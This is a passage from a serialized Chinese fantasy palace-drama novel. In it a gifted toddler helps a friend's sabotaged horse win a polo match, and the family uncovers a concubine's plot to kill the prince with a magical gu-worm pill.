陆清嘉是个没心没肺的,自己在小伙伴面前吹足了牛皮,如今,请帖送到了,团团也答应去了,他也没旁地惦记的了:“那我回去啦!团团!马球赛见!小话梅!回啦!“
小话梅从团团的肩头飞起,在她的头顶盘旋了一圈,落在陆清嘉的手上,大喊着“回啦!回啦!“跟着主人离开了王府。
萧宁辰望着他的背影,眉头皱了起来:“马场上尘土飞扬,马球赛又经常有人受伤,团团不适合去。“
团团撅起了嘴,有些泄气,萧宁珣看着很是心疼:“二哥,我陪着团团去,不会让她出事的。“
萧宁辰看了弟弟妹妹一眼:“此事由母亲来决定吧。“
晚膳时,兄弟俩将这件事告诉了母亲。
“娘亲!我想去!可以吗?”团团看着王妃,大眼睛湿润润的。
程如安微微一笑:“可以,不过,要让你三哥跟你一同去。“
“好哎!好哎!“团团欢呼起来:“可以去看马儿赛啦!”
萧宁辰嘱咐弟弟:“多带几个人跟着,切记别让她离开你眼前。“萧宁珣点头应了。
次日一早,萧宁珣带上萧二和其他几个王府的侍卫,陪着妹妹来到了上林苑。
第27章 追风的脚很痛呢
上林苑位于京城近郊,是一处依着平坦开阔的草甸而设的跑马场,专为京城的权贵们玩马而建。
占地颇为庞大,因今日有马球赛,所以四周被结实的朱漆木栏围出了一个椭圆形的场地。
场地两端各立着一根坚实的木柱,柱高约一丈,顶端托举着一方精雕细琢的木质小阁,小阁中央有一个径约一尺的圆孔,称为球室。
参赛者分为两队,人数相当,乘马驰骋,以球杖击球,将球击入对方场地的“球室”中便算是赢得一筹。
计分台位于场地外的高台之上,在约定的时间内,获得筹数多的一方,即为胜者。
马球赛是当朝权贵们喜爱的一种游戏,每一次盛大的比赛都会吸引无数达官贵人以及他们的家眷到此观看。
团团第一次来上林苑,只觉得眼睛都不够用了,看什么都觉得新鲜,小手不停地指这指那,这是什么,那又是什么。
萧宁珣耐心地给妹妹一一解答。
场地两侧早已搭起数座彩棚锦帐,遮挡烈日,女眷们已经到了不少,都在锦帐中落座休憩,等待球赛开始。
衣香鬓影,语笑嫣然,热闹非凡。
下人将他们引到专为宁王府而设的锦帐中。
只见帐里:地上铺着厚实绵软的绒毯,中央摆着一张剔红案几,案上摆放着一套精致的茶具,旁边的碟子里,盛着各色时新果子和精致茶点。
萧宁珣微微点头,陆二今日这布置还算妥当,不算委屈了妹妹。
二人刚坐下,陆清嘉便跑了进来:“盟主!想不想去看看我的马?“
“想去!“团团拉着萧宁珣的袖子:”哥哥,咱们去嘛!咦,小话梅呢?“
陆清嘉道:“小话梅在家呢!马跑起来声音可大了,它害怕,这地方可不能带它来。“
“哦。“团团有些失望,还以为能再抱抱小话梅呢。
萧宁珣牵着她的手:“小话梅没来,咱们可以去看马啊。”
也对啊!还有马儿呢!团团高兴起来,两人跟着陆清嘉,来到了位于赛马场后方的马厩。
陆清嘉喊了一声:“顺子!把追风牵出来!”
马僮顺子闻言将一匹骏马从马厩里牵到了他们面前。
追风通体深栗色,光亮的皮毛在阳光下流动着锦缎一般的光泽,唯有四只蹄踝之上寸许,生了一圈皎洁如雪的长毛,看起来神俊异常。
“好马!”萧宁珣不禁喝了一声彩。
陆清嘉得意地抬了抬下巴。
“哇哦!”团团仰着小脑袋望着追风:“你好高哦!”
她小小一只,站在追风面前,头都快仰过去了,也没看到追风的正脸。
萧宁珣连忙将她抱了起来,团团坐在他怀里,高度正好跟追风脸对脸。
追风较寻常马匹更为高挑矫健,马头小巧精致,一双大眼睛如同巨大的黑曜石,澄澈明亮。
“追风!我是团团!一会儿你要跑吗?”
陆清嘉道:“当然!我一会儿就会骑着它上场,它跑得可快了,肯定能夺魁首!”
这时,一个少年跑了过来,嘴里喊着:“陆二!我跟你说—”
“白简行。”陆清嘉瞪他:“我快上场了,你少废话,滚远点。”
白简行“嘿”了一声,倒是识趣,把嘴闭上了。
他扭头看见抱着团团的萧宁珣,拱手行礼:“萧兄好。”萧宁珣点了下头,算是回礼。
他的目光落在了团团身上:“这便是你整日里说的,收服了万灵苑里那只雪豹的盟主?”
团团指了指自己:“对啊!我就是盟主!”
白简行眼睛一亮:“小盟主,我也是少年游盟会的哦!咱们明日就去万灵苑好不好?你摸雪豹的时候,也让我摸一摸,我跟你说,那只雪豹啊可厉害了,上次我去的时候—”
“闭嘴。”陆清嘉和萧宁珣都知道他这嘴碎的毛病,一说起来便没完没了,于是异口同声地喝止了他。
白简行立刻收声,还在嘴上比划了一下,意思很明显:我不说话了还不行吗,团团看得咯咯直笑,这个小哥哥真好玩。
团团伸出小手,手心向上,慢慢靠近追风,萧宁珣担心马会伤了妹妹,始终跟追风保持着一定的距离。
追风晃了晃大脑袋,打了个响鼻,凑近了她的手,轻轻喷了一大口热气。
热气喷在手心里,痒痒的,团团忍不住缩了缩手,追风将头伸得离她更近,追着她,团团摸了摸它的额头,又捏了捏它的耳朵。
顺子在一旁看着,惊讶道:“这位小姐跟追风初次见面居然就能如此亲密!我喂了它好几个月,它才肯让我摸它耳朵。”
陆清嘉是见过团团摸雪豹的,一点儿没惊讶:“那当然啦!咱们的小盟主,那可是连雪豹都能伸手就摸的主儿!”
白简行瞪大了眼睛:“果然厉害!陆二,这个盟主我认了!”
追风把头压得更低,追随者团团的小手,像是还要她继续摸,团团没让它失望,摸完了耳朵又去摸它颈后的鬃毛。
此时,第一通开场鼓响了,开场之前会击三通鼓,催促参赛者们入场,第三通鼓声一旦停了,迟到者皆不许入内。
陆清嘉一听:“小盟主,我要上场了,等回来你再摸。”
团团一听,收回了手:“追风要赢哦!我给你加油!”
追风垂下了头,两个后蹄交替着开始不停地刨地,一副急不可耐要出去跑一跑的样子。
萧宁珣抱着团团刚想转身离开,团团突然喊了一声:“追风病啦!它很痛!”
陆清嘉疑惑地围着追风走了一圈,仔细地端详了一番,抬眼看向顺子。
顺子忙道:“二少爷!我可是一直跟伺候您一样的伺候着它,今儿的料它一口都没少吃!”
白简行扑哧一笑:“你家二少爷在府里原来跟追风是一个级别的。”陆清嘉瞪了他一眼。
萧宁珣看了看妹妹,柔声道:“追风哪里痛啊,团团?”
团团小手指向追风的右后腿:“它的那只脚脚,踢地的时候明明就是很痛!不能跑的。“
顺子急忙过去,摸了一遍那条腿:“没事儿啊,骨头很好,也没有外伤。“而后又把马蹄翻过来,仔细查看。
陆清嘉和白简行也凑了过去,目不转睛地盯着看。
“哎呦!“顺子发现了问题,不禁喊出了声:”这是谁干的!黑心肝的东西!“
“怎么了?“陆清嘉连忙问,他什么都没看出来。
此时,传来了第二通开场鼓的声音。
顺子来不及解释:“二少爷,身上有没有火折子?“
陆清嘉摇了摇头:“我马上要上场了,哪会带那东西。”
第28章 谁赢追风就归谁
“我有!“白简行从怀里掏出了一个精巧的火折子,递给了顺子。
顺子点燃火折子,慢慢靠近马蹄,低声安慰追风:“好马儿,别动啊,我给你治病。“
但火折子稍一靠近,动物对火的天然抗拒,就令追风不安地撤回了马腿,往一旁躲,死活都不肯让顺子再碰。
鼓声停了,陆清嘉焦躁起来:“马上就要开赛了,你快点儿!“
顺子无奈了:“二少爷,要不你换别的马吧,追风不让动,它上场也跑不了啊。“
“别的马?别的马能跟追风比吗?你这是让小爷我上场丢人去?“
顺子两手一摊:“这,这我也没办法了。“
团团搂着萧宁珣的脖子,在他耳边说:“三哥哥,抱我过去。“
萧宁珣抱着团团走近了追风。
团团伸出小手轻轻的抚摸它的大脑袋:“追风乖啊,他是在给你治病呢,病好了,才能跑的快快的!小乖乖,别动哦。我摸摸你,就不怕啦!“
追风一双大眼睛看着团团,黑亮的瞳仁里映出了团团的小脸,它慢慢安静了下来,主动抬起了腿。
顺子一看,急忙又点燃火折子,掌握着一定的距离,用火苗的顶部在它的马蹄上来回移动。
片刻后,啪嗒一声,一块小小的,尖锐的石子落到了地上。
顺子长呼了一口气:“成了!“
追风放下腿,踢了踢地面,仰头发出了一声嘶鸣。
顺子捡起那块石子:“二少爷你看,有人用蜡,把这么尖的石子固定在蹄铁跟蹄底的缝儿里,追风若是这样上场,只会越跑越痛。“
“马儿虽然护主,但若是它忍不了了,发起性子来,定会将你甩下来的!“
陆清嘉一听脸色就变了:“哪个混账羔子干的!这不是要小爷的命嘛!“
顺子催他:“您赶紧入场吧!追风已经没事儿了,爷您尽管放心大胆地骑!“
“哼!为了让不让小爷赢,竟使出这样龌龊的阴招!追风!咱们走!今日定要杀他们个片甲不留!“
说完他翻身上马,冲着团团说:“小盟主!多谢你啦!回帐子里看我比赛吧。今日我定要赢了他们!“
团团点了点头:“你一定能赢!追风加油!“
陆清嘉纵马狂奔,赶在第三通鼓声响起时,跑进了马球场。
萧宁珣抱着团团,和白简行一起,回到了锦帐中。
赛场上,两队人马都到齐了。
陆清嘉带领的一队,穿的都是红色的骑马服,对面一队穿的则都是青色的骑马服,双方都骑在马上,目光不善地互相打量。
青队中领头的少年,神情倨傲地盯着陆清嘉坐下的追风:“这就是你宝贝的不得了的那匹千里马追风?“
他骑术颇佳,娴熟的拉动缰绳,围着陆清嘉转了一圈:“确实是一匹好马啊,可惜啊,你的主人配不上你!“
陆清嘉沉着脸,周景安?莫非就是他动的手脚?但此刻无凭无据,断不能就此当面指责,否则,以他那个跋扈不讲理的性格,定是要纠缠不休的。
“配不上又如何?“陆清嘉嘴皮子也麻利:”你倒是配得上你骑的那匹只配拉车的马!“
“周景安,有本事你今日就赢了我,否则,就干脆认输,省得一会儿丢人现眼,被追风追得摔个狗吃屎!“
周景安哼了一声:“赢你还不容易?今天就让你看看,你骑着这匹千里马是怎么输给我的!陆二,你若是不服,咱们不妨打个赌,谁赢了,追风便归谁,敢不敢?“
二人都没控制音量,宁王府的锦帐又位列最前,两人斗嘴的声音清晰地传入了帐中。
团团好奇地问:“那个人是谁啊?“
白简行嘴皮子飞快,萧宁珣还没来得及开口,他已经抢着回应了团团:“他啊!是靖海侯的老来子,家里全都宝贝的要命,一贯骄纵的不像样子,跟陆二一直不对付。“
“听说陆二得了一匹千里马,他便不服气起来,让他爹四处去寻,扬言非要找到一匹比追风更好的。
“可惜,时过多日,也没能找到。听说啊,为了这事,他发了一顿好大的脾气,把他爹珍藏的字画都给毁了。“
“我看啊,追风脚上的石子,就是他干的!”
萧宁珣接口:“难怪。虽说马球赛只是游戏,并非两军对战,但手段如此卑劣,可见靖海侯家教堪忧。“
团团只听懂了一句:就是这个周景安让追风生病的。她气得鼓起了腮帮子:“坏蛋!追风又没有踢他,干嘛害它啊!“
“就是!就是!“白简行立马接上了:”小盟主说得对!“
第三通开场鼓停了,高台上,都裁高声向大家宣布比赛规则:
“今日球赛,共分三场,每场以一炷香为限,锣响开始燃香,香尽锣响即止,得筹多者胜!“
陆清嘉望着周景安得意洋洋的模样,为了让我输,你竟然暗下黑手,看我怎么光明正大的赢你!心中一股豪气上涌,抬起球杖指着周景安:“小爷今日就跟你赌了!谁赢追风就归谁!“
周景安唇边滑过一抹志在必得的微笑:“有胆色!不过,你是注定会输给我的!陆二,到时候可别不认账。“
锣声敲响,都裁把球抛向场中央,两队少年一拥而上,杆影交错,马蹄声瞬间便响成了一片。
马儿们奋力奔跑着,双方你来我往,战况焦灼,团团紧紧地抓着萧宁珣一只手,看得眼睛都来不及眨一下。
红队每一次得筹,她都会欢呼雀跃好半天。
第一局结束,红队得三筹,青队两筹。
双方各回帐中暂时休息,陆清嘉跑进来,拿起桌上茶水便咕咚咕咚灌了下去。
他擦了擦嘴:“周景安最要面子,今日居然跟我打这么大的赌,我看就是他暗算的追风!看我怎么赢得他哑口无言!“
团团往他的嘴里投喂了一颗枣子,“加油!赢他赢他!“
陆清嘉使劲一点头,转身又回到了赛场上。
第二局开始了,青队调整了战术,压制住了红队的攻势,扳回了一场,两局结束,双方各得5筹,战成了平手。
很快,决定胜负的第三局开始了,红队虽然开场便暂时落后了一筹,但攻势却越来越猛,隐隐占了上风,萧宁珣微微一笑:“陆二能赢。”
此时场上正在控球的一名红队成员正向着青队的球室狂奔,青队马上赶上来两人,将他夹在中间,三人并驾齐驱。
电光石火间,一名青队队员的坐骑似是因地面不平而突然失了半步,马身极为“巧合”地向外一挤,马鞍上坚硬的金属鞍桥,不偏不倚地重重撞在了红队队员的小腿外侧!
“呃啊!”
钻心的剧痛瞬间袭遍半身,那名队员手一松,没能握住缰绳,从马上滚落下来。
“铛——!”锣声急促响起,中止了比赛。
红队其他人见状立刻围拢过来,既焦急又愤慨:“干什么你们!打不过就伤人吗?这么下作!”
第29章 马儿赛太好玩啦
青队的人也都围了过来,反唇相讥:“他自己骑术不精,关我们何事!马球赛受伤本就是平常事,干嘛?想诬陷我们?“
参赛的都是血气方刚的少年,气氛顿时紧张起来。
都裁从高台上下来,赶到场上,检查了一下伤者的伤势,倒也不是很重,但想要继续上马参赛是不可能了。
正如青队所说,这样的碰撞在激烈的比赛中最是常见,很难抓住真凭实据,判定是否是故意为之。
他举起手,高声宣布:“来人!把他抬下去疗伤!红队缺一人,是否继续?”
陆清嘉眉头深锁,双方实力都不弱,可以说是势均力敌,若在缺失一人的情况下继续,赢的机会几乎微乎其微。
周景安看着他为难的样子,脸上的得意半点都没遮掩:“陆二,认输吧,你根本不可能赢,追风注定是我的。小爷我想要的东西,从来就没有得不到过!“
陆清嘉望着他,双眼几乎就要喷火。
都裁看了看他俩:“两位公子可有决断了?继续还是以当下的得筹判定输赢?“
陆清嘉望向计分台,红队落后一筹,若此时放弃,追风便要归周景安了。
他咬了咬牙,看向自己的队员,几个玩伴因为同伴受伤,都同仇敌忾:“陆二!你做主!你要打,咱们便继续打!“
怎么都得拼一把!就这样认输,他得郁闷而死,拼尽全力,哪怕打个平手也行啊!
“继续!缺一人又如何?缺一人他们也未必能赢!“
周景安嗤笑一声:“不自量力!“
都裁返回高台上,高声宣布比赛继续,此时香已只剩下三分之一,很快便要燃尽了。
锦帐中,团团握紧了刚才吃完枣子还没来得及扔掉的枣核,气得小脸通红:“大坏蛋!大坏蛋!”
萧宁珣轻轻摇头,今天的球赛,陆二显然是不可能赢了。
连一贯吊儿郎当的白简行,都没再喋喋不休地废话,眼睛紧紧地盯着场上,攥紧了双拳。
红队因缺了一人,被青队打得只能全力防守,无力再进攻,青队已经占据了绝对的优势,几个少年说说笑笑,故意放慢进攻的节奏,拖延着时间。
现在已经领先了一筹,只要将红队打得无反手之力,将这个优势保持到最后,便赢定了。
周景安更是一副志得意满的得意样儿,见红队的防守露出了空挡,他大笑一声,猛地一夹马腹,策马狂奔,意图趁势再拿一筹,彻底锁定胜局。
他伏低了身子,紧盯着前方滚动的马球,计算着挥杆的最佳时机。
就在他冲至场边、即将转弯加速的刹那。
“陆二说要你摔个狗吃屎!吃一嘴泥!”团团将手里的枣核使劲扔向帐外。
萧宁珣心中一震,顺着枣核被扔出时划出的弧线看去,果然,微光一闪,枣核不见了。
与此同时,周景安的马像是踩到了什么圆滑的东西,猛地向前平滑出去,瞬间失去了平衡!
萧宁珣马上扭头去看白简行,只见他紧紧盯着球场,并未注意到妹妹方才的动作,顿时心下稍安。
“唏律律——!”
周景安的坐骑发出一声惊恐的嘶鸣,马身向前倾塌下去。
他脸上的笑容瞬间凝固,甚至都没来得及惊呼,整个人就被巨大的惯性甩飞了到场外。
在全场无数道目光的注视下,这位靖海侯府的宝贝疙瘩、方才还不可一世的青队队长,在空中手舞足蹈地飞出了一小段距离,然后——
“嘭!”的一声,结结实实、五体投地地砸在泥土之中。
华贵的骑装沾满了尘土,头上的白玉发冠应声飞脱,头发全都垂了下来,披散在脸上。
那张永远挂着盛气凌人的脸庞抬了起来,沾满了泥土,手撑着地面,“呸呸呸”地不停往外吐着草屑和黑泥。
整个马球场,陷入了一种诡异的沉寂。
片刻之后,“噗……”不知是谁先没忍住,发出了一声轻笑。
这一声笑仿佛点燃了引线,全场哗然,哄笑声、讥讽声、惊讶的抽气声瞬间如潮水般爆发开来。
锦帐中的夫人小姐们都笑得不得不用手中的团扇捂住了嘴。
“哎呦喂!周公子这……这是行的什么大礼啊?”
“这可真是……平地起波澜啊!哈哈哈!”
红队众人先是一愣,随即爆发出畅快的大笑,其中属陆清嘉的笑声最为响亮,追风和同伴被暗算的憋屈,在这一刻终于烟消云散。
周景安吐掉嘴里的泥渣,羞愤欲绝。
他自幼众星捧月地长大,何曾受过如此奇耻大辱!
“公子!公子您没事吧?”随从们纷纷跑了过来,想将他扶起。
“滚开!”周景安猛地甩开了下人的手,几乎是手脚并用地从地上爬了起来,巨大的羞辱感淹没了他,他再也不想再在此地多待一刻。
下人们不敢再碰他,也不敢离开,紧紧跟在后面,“滚呐!”他再度咆哮了一声,一瘸一拐,头也不回地逃离了赛场。
青队成员面面相觑,都愣住了,球赛还没完,队长走了?
陆清嘉大喊一声:“继续啊!弟兄们!”
青队阵脚已乱,溃不成军,红队全面反攻,迅速拿下两筹,锣声响起,比赛结束,红队以一筹之差,反败为胜。
白简行早已兴奋地冲出了锦帐,大喊着向陆清嘉跑去:“陆二!好样的陆二!“
团团蹦了起来,搂住了三哥的脖子:“赢啦!赢啦!三哥哥!陆二赢啦!追风赢啦!马儿赛太好玩啦!”
萧宁珣环着不停在怀里往上窜的妹妹,也笑了:“是啊!陆二赢啦!追风不会被抢走了,团团最棒了!“
团团得意地摇着小脑袋:“那个大坏蛋太坏了嘛!“
赛后,白简行提议红队全员去酒楼吃酒庆祝,萧宁珣以妹妹太小为由,带着团团告辞了。
团团不舍地摸了摸追风的大耳朵:“我以后再来找你玩啊!“
兄妹二人回到了王府。
刚在门口下了车,便看到有人正站在门外等候。
护送着他们回来的萧二眼睛一眯,这不就是……玄穹观中,与侧妃私会的那个男子!
第30章 奸夫上门了
萧宁珣见萧二神色有异,顺着他的目光看了过去:“这是何人?你认识?”
想起王妃的叮嘱,萧二赶忙摇头:“小人并不认识,只是看着有些眼熟。”
萧宁珣没有放在心上,领着妹妹走了进去。
萧二找了个借口耽搁了一会儿,留意着那人的动静。
只见男子递了张拜帖给门口的下人,下人拿了转身进府,不多时回来了:“请随我来。”
萧二隔着很远,悄悄地跟着二人,只见那人跟着下人,走进了凌霜阁。
萧二心中一震,侧妃娘娘,居然如此大胆?
下人回到门口继续当差,萧二佯装漫不经心地开口:“刚才那人是谁?外男怎可进入内宅?”
他是王府侍卫首领,询问此事理所应当,下人没有丝毫起疑:“帖子上写得清清楚楚,是侧妃娘娘的娘家表兄,姓江名远,奉长辈之命,来探望侧妃。”
“小人回禀了侧妃娘娘,娘娘首肯,才将他引见了去。”
“原来如此,既是侧妃家人,倒也无妨。”
萧二转头来到了静兰苑,将此事禀告了程如安。
程如安脸色阴沉,心中大怒,方清研!你竟公然在王府里会见奸夫!真当我们都死了不成!
她想了想:“光天化日,他不敢久坐,莫要惊扰,待他走后,你跟上去,摸清楚他的落脚之地。”
“是。”
凌霜阁内。
方清研吩咐下人们都退下,将门掩好,不再掩饰脸上的不满:“你怎么这么便来了?”
江远拉着她的手坐下,眉头紧锁,脸色沉重:“没办法,此事万分紧急,我只能冒险前来。”
“长话短说。还记得几年前我让你给他服下的那个药丸吗?
方清研想起来了:“怎么了?”
“那不是寻常毒药,里面包裹的是蛊虫的幼虫。“
“什么?!“方清研忍不住一声惊呼。
“轻声些!正是因那蛊虫,他才会昏迷良久,即使醒了也成了痴呆婴孩。但那只是子蛊,我手里还养着一只母蛊。“
“几日前,母蛊突然终日焦躁不安,将我精心饲养的几只子蛊全给吞了。所以我猜测,他体内的那只子蛊已亡。而他,应该也已经彻底醒了。”
“难道你就没有察觉近日王府中有哪里不对吗?“
方清研一脸惊慌地捂住了嘴,仔细回想:“你这一说,还当真有些不太对劲,这些日子我每每想去探望,总被那边以各种借口推脱不让。那如今该怎么办?“
江远递给她一个小小的褐色瓷瓶:“我已将母蛊封入药丸,你要想办法让他服下,母蛊为子报仇,一旦入体,便会逐渐将他的七窍逐一堵死,服下后月余方会毙命,完全不露痕迹。”
他紧紧盯着方清研的眼睛:“这一次咱们不能再等了,一定要彻底了结了他。“
“母蛊要在三日内进入人体,否则便会消亡,此事要快,千万不能耽搁。你不必担心,除非精研此道,一般的太医根本无法辨识,上次那个他们不也是没验出来吗?“
方清研接过瓷瓶,目光闪动:“我知道了,你赶紧走,若待得久了,难保王妃那边的人不出面过问。“
江远点了点头,故意提高了声音:“既是一切安好,侧妃娘娘请保重,为兄告辞。“
说完装模作样的行了个礼,推开门走了。
方清研在屋中来回踱步,心乱如麻,如今自己根本进不了养正轩的大门,这药该如何才能让王爷服下?
让姝儿去?不行,我都进不去,姝儿若去,都不用王妃出面,她身边的刘嬷嬷一句话便能将她顶回来。
三日,只有三日,必须找个能进去的人才行。
她脚步一顿,唇边露出一抹微笑:“二爷,那就看你的了。“
她起身来到静兰苑,禀告程如安,称这几日自己昼夜难安,夜夜梦魇,想来是多日没有回家,家中长辈多有记挂,请王妃首肯,明日回家探望。
程如安没有阻拦,点头应允。
这边,江远出了王府后,故意在街上绕了一大圈,时不时回头看向四周,确定无人尾随,才回到了自己的家中。
萧二一直在外面守到深夜,直到屋中烛火尽灭,确定了此处便是江远的住所,才返回王府,将位置禀告给程如安。
程如安微微颔首,“做得好,歇息去吧。“
“是。“
程如安回到内室,看了一眼正在熟睡的团团,这孩子,今天一回来就不停地给她讲马球赛的事,兴奋得不得了,这会子睡得正香甜。
她给团团掖了掖被子,吩咐刘嬷嬷好生照看,起身来到了养正轩。
蛊虫被除,各种参茸补品日日不断,萧元珩恢复得很快,已经能在屋里来回走动,活动腿脚了,但还是以静养为主,此时他正在灯下翻看着一本兵书。
见妻子来了,二人相视一笑,萧元珩柔声道:“快过来。“
程如安走过去,与他依偎在一起,缓缓地将江远登门,方清研明日回门,萧二尾随……都告诉了丈夫。
萧元珩冷笑:“看来他们马上便会有所行动,等不了了。“
程如安靠在他胸口,只觉得心里万分踏实,有王爷在,这些宵小蹦跶得再欢,自己也不再担忧了。
“辛苦安儿了,明日你如此安排……“萧元珩在妻子耳边轻轻耳语。
翌日一早,方清研登上马车,回到了方府。
但她只待了半日,便又驱车来到了另一处宅邸。
敲开门后,径直走了进去。
下人识得她:“二爷现在书房。“
书房内,萧元华将手中书卷放下,站起身迎了上来,将方清研一把抱进怀里:“你今日怎么来我这里了?“
方清研一脸娇羞:“来看看你这个负心郎,你在这里逍遥自在,却将我留在那边独守空房。“
萧元华捏着她的下巴将她的脸抬起来对着自己:“莫急,很快我便能继承王府,到时将老太婆和那几个庶子都赶出去,只留下你和咱们的姝儿。咱们一家,就能团圆了。“
方清研一把推开了他:“还说什么团圆呢!他都已经彻底醒了,你还在这儿做美梦呢!“
萧元华大惊失色:“你说什么?!“
第31章 侧妃的计划
方清研将这些日子府中的情形告诉了他,并将蛊虫的事情也和盘托出。
掏出瓷瓶递给他:“她们现在对我们母女俩防备得紧,如今我连养正轩的大门都进不去,只能指望你了。“
萧元华紧盯着手中瓷瓶:“这药,太医当真验不出来?“
“当真,此药无色无味,几年前让他昏迷不醒的那个,便是我将其放在汤中,给他服下的,当时太医恰好也在,当场验过,却什么都没看出来。怎么?二爷怕了?“
萧元华将瓷瓶放在桌上:“怎么可能!我明日便回王府。对了,这蛊毒你从而得来?这可不是寻常之物啊。”
方清研垂下眼帘,眼底滑过一丝惊慌,随即镇定下来:“我方家也曾位列二品,如今虽然败落,但从前府中养着的异士也不少,这蛊毒,正是一个老仆献给我的。”
她含情脉脉地看着他,有意转变话题:“二爷,你本是世间英豪,只因身为庶出,才无论什么都被他压了一头,王府的荣耀,财富,地位都归他所有,妾身对此深为不平。”
“妾身甘冒奇险,与你暗通款曲,更为你生下了姝儿,他日你继承了王府,可不能忘了妾身母女啊。”
萧元华听后,大为感动,只觉得眼前女子是世间唯一了解自己的人,自己的雄心,才干,不甘,也只有她能懂。
他情不自禁地伸手将方清研抱进怀里,嘴唇压了上去,二人宽衣解带,纠缠在一起。
一个时辰之后,方清研回到了王府。
次日,萧元华果然来了,一进府便来到养正轩外求见。
众人都在,萧元珩急忙躺下,闭好眼睛,程如安给他盖好被子,冲着兄妹三人“嘘”了一下。
团团使劲点头,还伸出小手拍了拍萧元珩:“爹爹乖乖地躺着睡,不要动哦!”
萧元珩忍不住唇角微微勾起,随即赶忙压了下来。
老夫人这才开口:“进来吧。”
萧元华大步走了进来,行礼后落座,一脸喜气:“母亲!嫂夫人!天可见怜!王兄有救了!“
说着,小心翼翼地掏出一个看着便十分昂贵精致的白玉瓶,双手捧给程如安:“请嫂夫人速将此药给王兄服下。”
程如安接过来,打开瓶塞,将药丸倒在手里,仔细端详。
老夫人看了看:“华儿,这药是?”
“此药名为‘九转还魂丹’!来自滇南僻远之地,出自一位隐世不出的药王耆老之手!”
“当真是功夫不负有心人啊!我踏破铁鞋,耗费千金,苦苦寻访方才找到此一枚!”
“此药能固本培元,重燃生机,服下后如春风化雨,润泽枯木,必能护住王兄心脉,唤醒他的神智!”
他语速极快,一脸真诚,将毒药说成了灵丹,一边说,一边用眼角的余光偷偷打量着萧元珩,还是那副活死人的鬼样子嘛,看起来与从前没什么区别。
团团扒着程如安的手,探着小脑袋看着那药丸:“娘亲!”
程如安抬手摸了摸她的小脸:“乖,先不说话啊,二叔好不容易过来,先听他说。”
萧元华不悦地看了一眼团团:“长辈们讲话,不要插嘴。”
团团瘪了瘪小嘴巴,萧宁珣将她抱了起来:“我带她出去玩。”
程如安点头:“去吧。”
萧元华滔滔不绝,将那药丸的功效说得天花乱坠。
程如安思索片刻:”先多谢二叔了,但此药既然功效如此卓越,想必王爷服下后,立时便会有所反应。“
她看向老夫人:“母亲,儿媳以为,此药服下时,若太医能在一旁,则更为妥当。正好明日郭太医便会来诊脉,不如,明日待郭太医来了,再给王爷服下?“
萧元华连忙接口:“何必等到明日?即刻去将郭太医请来便是。“
程如安不说话了,老夫人接了口:“郭太医隔日便来一次,昨日方才来过,他年岁也大了,又非急事,骤然去请,甚为不妥。药既已寻到,再多等一日又何妨?“
萧元华怕再坚持下去露了马脚,只得同意。
程如安将药还给他:“二叔为王爷寻药,实在辛苦,今日便在府中住下吧,正好明日一同看王爷服药。“
萧元华正有此意,不亲眼看见萧元珩把毒药吃进去,他也不放心:“多谢嫂夫人。“行了礼后,便退了出去。
萧宁珣带着妹妹在养正轩的院子里玩耍,并未走远,见他出了养正轩,马上领着妹妹回到了父亲的床前。
团团扑到萧元珩的怀里:“爹爹!那个药是坏的,不能吃!“
萧元珩早已坐起,抱着女儿,香香软软的小身子靠在自己胸口贴贴,心中欢喜:“坏的啊?团团怎么知道?”
团团的小手玩着爹爹的衣领:“我就是知道!那个药啊,它长了嘴哦,吃下去会咬人的!”
程如安想起了那条诡异的虫子,心里一颤:“王爷!”
萧元珩冲她摇了摇头:“不必担忧,团团比太医都灵!有什么可担心的?”
把女儿的小脸举到自己的脸前,使劲亲了一口:“爹爹的好闺女!谢谢你告诉爹爹,爹爹听你的,不吃那个药。”
爹爹听我的话呢!真是好爹爹!团团高兴地回敬了他一个亲亲,在他的怀里撒着欢的来回滚动。
夜深了,程如安等团团睡熟,来到养正轩。
“明日一早,派人去跟郭太医说一声,让他晚间再来王府,元华那里,告诉他,郭太医出诊去了,至晚方归。等郭太医到了,再让他过来。”
“即刻起,将凌霜阁封了,所有人不许出入。”
“吩咐萧二,现在便去,趁着夜色,把那个江远拿了,莫要惊动他的邻里,关进府中私牢,给他半日的时间,给我把所有的事情都问出来。”
程如安听了丈夫的话,有些不解:“为何明日晚间才让郭太医过来?”
萧元珩看着她:“大人们之间的恩怨,与孩子们无关,明日等他们都睡下,再发落这些人。
“尤其是团团,那孩子一身灵气,如此纯净,这些个腌臜事,悄悄处置了便好,莫要让她沾染分毫。“
程如安懂了:“还是王爷想得周到,我这就去安排。“
第32章 哇!好炸裂啊
次日晚间,养正轩第一次灯火辉煌,大门敞开,侍卫们携刀披甲,将内外守得严严实实。
萧元华一踏进来,就感觉不对,他脚步迟疑,顿了顿,转头刚想离开,萧二却出现在眼前,拦住了他:“二爷,请。“
萧元华讪讪地笑了笑:“好,好。“
跟着萧二,他意外地发现,不是像平时那样走向内室,而是来到了正厅。
“二爷,请坐。“萧元华点了点头,惴惴不安地坐了下来,心里慌得直打鼓:”怎么来了这里?“
萧二端来热茶,很客气:“二爷稍安勿躁,请用茶。”
萧元华无奈,只能老老实实地坐下喝茶,心中越来越不安。
莫非,王兄知道了什么?但药还在我手中,他又没有服下,又能拿我如何?稳住,稳住,很可能什么事都没有,只是王妃在虚张声势,诈我而已。
想到这里,他坐直身子,摆出了一副镇定自若的样子。
又过了半晌,郭太医跟在程如安身后,两人从内室走了出来。
王妃坐在上首:“郭老,请坐,天色已晚,却还要劳动你来王府,真是辛苦了。”
郭太医急忙欠身行礼:“老夫职责所在,王妃不必客气。”
程如安看向萧元华:“二爷,请将药拿出来,给郭太医过目。”
萧元华心里踏实了,果然没有猜错,这个嫂夫人,就喜欢端着王府正妃的架子,看来清研平日没少在她手里受委屈。
他掏出那个白玉瓶,双手捧着,小心翼翼地递给了郭太医:“郭老您可拿好了,世间仅此一枚,珍贵得紧。”
郭太医稳稳地接了过来,打开瓷瓶,将药丸倒入掌心。
他仔细地看过之后:“取一碗清水来。”
下人马上端来了一碗清水,放在他身旁的桌案上。
他毫不迟疑,将药丸放进了清水中。
萧元华猛地站起:“郭太医你!”
郭太医并没理他,而是继续望着水中的药丸,只见那药丸的外皮逐渐被水浸透,出现了些许裂纹。
他从怀中掏出了一个小小的铜铃,放在碗边,开始轻轻摇动。
萧元华一脸疑惑:这老头在干嘛?疯了吗?对着碗水摇铃铛?
片刻之后,郭太医道:“二位请看。“
只见随着铃声不停响起,药丸中逐渐显现出一条细细的黑影,与上次萧元珩手中爬出的那条一模一样,只是更粗更黑,更狰狞可怖。
那黑影从药丸的裂缝中爬出,脱离了束缚,在水中翻滚扭动,两端不停开合,似是在用力撕咬。
